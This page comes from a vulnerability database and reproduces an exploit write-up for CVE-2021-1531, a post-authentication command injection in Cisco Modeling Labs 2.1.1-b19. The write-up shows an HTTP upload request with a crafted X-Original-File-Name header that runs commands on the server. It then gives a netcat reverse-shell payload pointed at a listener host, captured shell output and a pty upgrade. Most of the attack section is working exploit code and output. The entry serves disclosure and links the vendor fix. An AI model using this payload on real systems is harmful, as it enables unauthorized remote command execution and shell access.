Lucene search
+L

Cisco Modeling Labs 2.1.1-b19 Remote Command Execution Exploit

🗓️ 23 Jun 2021 00:00:00Reported by Jeremy BrownType 
zdt
 zdt
🔗 0day.today👁 110 Views

Cisco Modeling Labs 2.1.1-b19 RCE Vulnerability via X-Original-File-Name heade

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-1531
19 May 202116:00
–attackerkb
bdu_fstec
BDU FSTEC
Cisco Modeling Labs Web Interface Command Execution
24 May 202100:00
–bdu_fstec
circl
Circl
CVE-2021-1531
1 Sep 202620:02
–circl
cisco
Cisco
Cisco Modeling Labs Web UI Command Injection Vulnerability
19 May 202116:00
–cisco
cnnvd
CNNVD
Cisco Modeling Labs Parameter Injection Vulnerability
19 May 202100:00
–cnnvd
cnvd
CNVD
Cisco Modeling Labs Parameter Injection Vulnerability
21 May 202100:00
–cnvd
cve
CVE
CVE-2021-1531
22 May 202106:45
–cve
cvelist
Cvelist
CVE-2021-1531 Cisco Modeling Labs Web UI Command Injection Vulnerability
22 May 202106:45
–cvelist
euvd
EUVD
EUVD-2021-6998
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2021-1531
22 May 202107:15
–nvd
Rows per page
Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability

CVE-2021-1531

=======
Details
=======

Authenticated command injection in the web portal via the X-Original-File-Name header.

Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.

=====
Repro
=====

-------
Request
-------

POST /api/v0/images/upload HTTP/1.1
Host: 10.10.10.118
X-Original-File-Name: test.rpm';id>/tmp/123'
Authorization: Bearer [jwt token]
Content-Length: 0

--------
Response
--------

HTTP/1.1 200 OK
Server: nginx/1.14.1
...

"Success"

----------------
Local monitoring
----------------

pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]

.....

pid=5555 executed [id ]

$ cat /tmp/123
uid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0

============
Exploitation
============

The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.

-------
Payload
-------

X-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'

--------
Listener
--------

$ nc -l -p 5000
.....
*connection received from cml2*

/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'

*** VIRL2 network simulator monitor ***

CLI> uname -a
Linux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

CLI> pwd
/var/local/virl2

===
Fix
===

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 3.18.8
CVSS 29
EPSS0.30492
SSVC
110